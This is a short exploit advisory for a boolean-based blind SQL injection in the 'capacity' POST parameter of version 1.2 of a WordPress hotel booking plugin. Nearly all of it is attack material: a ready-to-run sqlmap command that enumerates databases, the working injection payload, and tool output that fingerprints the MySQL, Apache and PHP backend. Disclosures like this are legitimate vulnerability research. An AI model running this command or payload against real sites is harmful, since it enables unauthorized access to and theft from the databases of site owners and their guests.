<------------------ header data start ------------------- > ############################################################# # Application Name : WP Hotel Booking System Plugin 1.2 # Vulnerable Type : Boolean-Based Blind SQL İnjection # Software Link: https://www.bestsoftinc.com/ # Tested On Demo Site: http://envato.bestsoftinc.net/wp-hotel/ # Author: Siber Güvenlik Akademisi - Pentester # Date: 05.05.2017 # Tested on: Windows 8.1 / Mozilla Firefox # Vulnerable Parameter: 'capacity' (POST) # SQLİ: Http://localhost/wphotel/ # Proof of concept: sqlmap -u "http://localhost/wphotel/" --data="check_in=05%2F05%2F2017&check_out=05%2F20%2F2017&capacity=1&child_per_room=1" -p "capacity" --random-agent --threads=5 --dbs Parameter: capacity (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: check_in=05/10/2017&check_out=06/26/2017&capacity=1 AND 6953=6953&c hild_per_room=1 --- [20:44:25] [INFO] testing MySQL [20:44:28] [INFO] confirming MySQL [20:44:31] [INFO] the back-end DBMS is MySQL web server operating system: Linux CentOS web application technology: Apache 2.4.6, PHP 5.4.16 < ------------------- header data end of ------------------- >